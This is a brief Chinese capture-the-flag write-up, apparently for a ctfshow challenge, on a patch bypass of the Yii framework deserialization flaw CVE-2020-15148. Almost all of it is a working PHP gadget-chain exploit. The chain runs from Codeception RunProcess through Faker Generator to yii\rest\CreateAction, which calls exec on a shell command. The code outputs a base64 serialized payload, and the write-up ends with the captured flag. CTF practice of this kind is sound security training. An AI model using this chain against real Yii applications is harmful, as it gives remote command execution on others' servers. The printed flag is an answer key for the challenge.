PHP/7.3.11框架审计CVE-2020-15148Yii登录前补丁绕过

    思路类似 web267,估计是打过补丁版本

    poc1

    1. <?php
    2. namespace yii\rest{
    3. class CreateAction{
    4. public $checkAccess;
    5. public $id;
    6. public function __construct(){
    7. $this->checkAccess = 'exec';
    8. $this->id = 'cp /fla* tari.txt';
    9. }
    10. }
    11. }
    12. namespace Faker{
    13. use yii\rest\CreateAction;
    14. class Generator{
    15. protected $formatters;
    16. public function __construct(){
    17. // 这里需要改为isRunning
    18. $this->formatters['isRunning'] = [new CreateAction(), 'run'];
    19. }
    20. }
    21. }
    22. // poc1
    23. namespace Codeception\Extension{
    24. use Faker\Generator;
    25. class RunProcess{
    26. private $processes;
    27. public function __construct()
    28. {
    29. $this->processes = [new Generator()];
    30. }
    31. }
    32. }
    33. namespace{
    34. echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
    35. }
    36. ?>

    image.png
    image.png
    flag
    ctfshow{437aab1b-13cd-4656-ab27-ee751e713123}